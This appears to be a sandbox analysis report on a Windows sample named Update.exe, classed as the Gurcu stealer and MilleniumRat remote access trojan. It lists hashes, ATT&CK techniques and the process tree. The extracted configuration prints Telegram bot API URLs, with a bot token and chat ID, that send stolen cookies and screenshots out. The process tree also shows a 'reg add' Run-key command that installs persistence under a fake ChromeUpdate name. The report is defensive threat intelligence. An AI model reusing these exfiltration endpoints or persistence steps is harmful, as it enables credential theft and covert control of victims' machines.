gurcu | 982007b8100703183c8b4715a57be7129a3b6c695ff971afedfaf3cdef509e7c

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08-11-2024 19:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Update.exe
Size

5.6MB
MD5

f668e23b162b29408d106d7e33026df4
SHA1

f3a67a810ab1b737c3f63ee9556feee17516a6dc
SHA256

982007b8100703183c8b4715a57be7129a3b6c695ff971afedfaf3cdef509e7c
SHA512

bcda79e81dfcdd017b06137c7f6b8286492b161f6b7bf028c60e28481160120f695e1351d2ba0b967e3468e13e39388b539623d17ee734b2d5ba46db1da550bf
SSDEEP

98304:jitl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Uc:jzOuK6mn9NzgMoYkSIvUcwti7TQlvciE

Score

10^/10

gurcu milleniumrat discovery persistence rat spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot8120686609:AAFFbHJYN8XNfebk9woXGBYglnP_6w4ugW0/sendDocument?chat_id=-4597951127&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot8120686609:AAFFbHJYN8XNfebk9woXGBYglnP_6w4ugW0/sendMessage?chat_id=-4597951127

https://api.telegram.org/bot8120686609:AAFFbHJYN8XNfebk9woXGBYglnP_6w4ugW0/getUpdates?offset=-

https://api.telegram.org/bot8120686609:AAFFbHJYN8XNfebk9woXGBYglnP_6w4ugW0/sendDocument?chat_id=-4597951127&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat
Milleniumrat family
milleniumrat

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Update.exe

Executes dropped EXE 1 IoCs

pid	Process
4616	Update.exe

Loads dropped DLL 2 IoCs

pid	Process
2156	Update.exe
4616	Update.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLog\\Update.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
10	raw.githubusercontent.com
20	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
1468	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4316	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3488	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
2156	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe
4616	Update.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2156	Update.exe
Token: SeDebugPrivilege	1468	tasklist.exe
Token: SeDebugPrivilege	4616	Update.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4616	Update.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2156 wrote to memory of 3280	2156	Update.exe	93
PID 2156 wrote to memory of 3280	2156	Update.exe	93
PID 3280 wrote to memory of 2600	3280	cmd.exe	95
PID 3280 wrote to memory of 2600	3280	cmd.exe	95
PID 3280 wrote to memory of 1468	3280	cmd.exe	97
PID 3280 wrote to memory of 1468	3280	cmd.exe	97
PID 3280 wrote to memory of 4184	3280	cmd.exe	98
PID 3280 wrote to memory of 4184	3280	cmd.exe	98
PID 3280 wrote to memory of 4316	3280	cmd.exe	100
PID 3280 wrote to memory of 4316	3280	cmd.exe	100
PID 3280 wrote to memory of 4616	3280	cmd.exe	101
PID 3280 wrote to memory of 4616	3280	cmd.exe	101
PID 4616 wrote to memory of 4548	4616	Update.exe	107
PID 4616 wrote to memory of 4548	4616	Update.exe	107
PID 4548 wrote to memory of 3488	4548	cmd.exe	109
PID 4548 wrote to memory of 3488	4548	cmd.exe	109

C:\Users\Admin\AppData\Local\Temp\Update.exe
"C:\Users\Admin\AppData\Local\Temp\Update.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpD9E5.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpD9E5.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3280
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:2600
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 2156"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1468
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:4184
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4316
- - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
    "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4616
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4548
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Update.exe.log

Filesize
1KB

MD5
83c6657d5c97604293de3be7cb049812

SHA1
049e9604e0dab53524bdbdb9459f6026df675468

SHA256
cc0829436efefdd39837147e213e968d549f35faa2e519e0a038731e4711368a

SHA512
6a814aeb121606355776d864f41dc62a311a151a33eff8593a24dc0748f86519f4f9391525d1eb3d161d3f976dda3470d5c2c2abd63d888b36c0b3822c91a9f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpD9E5.tmp.bat

Filesize
286B

MD5
bb9e8fae86d3417f63e2eb5fa0d788a8

SHA1
20f38731ce0496742cb23da6943ab50b9f07a870

SHA256
ce76da5840b492537fa3fbdbf79435c731ab1c19933916728bae9b7860a05204

SHA512
988d8a3f078012201566095cddc0e411fab52ff539b3e575c5f31f28412daf30d7cbbc4454dbc8b0e5628d2cbfd068c3f4f162e5fcf6a8a58178c913c902022c

Download Submit
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe

Filesize
5.6MB

MD5
f668e23b162b29408d106d7e33026df4

SHA1
f3a67a810ab1b737c3f63ee9556feee17516a6dc

SHA256
982007b8100703183c8b4715a57be7129a3b6c695ff971afedfaf3cdef509e7c

SHA512
bcda79e81dfcdd017b06137c7f6b8286492b161f6b7bf028c60e28481160120f695e1351d2ba0b967e3468e13e39388b539623d17ee734b2d5ba46db1da550bf

Download Submit
memory/2156-7-0x00007FF8739D0000-0x00007FF874491000-memory.dmp

Filesize
10.8MB

Download
memory/2156-8-0x0000013EB8A20000-0x0000013EB8A3E000-memory.dmp

Filesize
120KB

Download
memory/2156-9-0x0000013EB8A00000-0x0000013EB8A0A000-memory.dmp

Filesize
40KB

Download
memory/2156-13-0x00007FF8739D0000-0x00007FF874491000-memory.dmp

Filesize
10.8MB

Download
memory/2156-0-0x00007FF8739D3000-0x00007FF8739D5000-memory.dmp

Filesize
8KB

Download
memory/2156-6-0x0000013ED11B0000-0x0000013ED1226000-memory.dmp

Filesize
472KB

Download
memory/2156-1-0x0000013EB6760000-0x0000013EB6D04000-memory.dmp

Filesize
5.6MB

Download
memory/4616-21-0x000001DB18DA0000-0x000001DB18E0A000-memory.dmp

Filesize
424KB

Download
memory/4616-23-0x000001DB19010000-0x000001DB190C2000-memory.dmp

Filesize
712KB

Download
memory/4616-24-0x000001DB7FFF0000-0x000001DB80040000-memory.dmp

Filesize
320KB

Download
memory/4616-25-0x000001DB7FF20000-0x000001DB7FF42000-memory.dmp

Filesize
136KB

Download
memory/4616-27-0x000001DB19D20000-0x000001DB19D5A000-memory.dmp

Filesize
232KB

Download
memory/4616-28-0x000001DB18A50000-0x000001DB18A76000-memory.dmp

Filesize
152KB

Download
memory/4616-29-0x000001DB19D60000-0x000001DB1A08E000-memory.dmp

Filesize
3.2MB

Download
memory/4616-48-0x000001DB7FEF0000-0x000001DB7FF02000-memory.dmp

Filesize
72KB

Download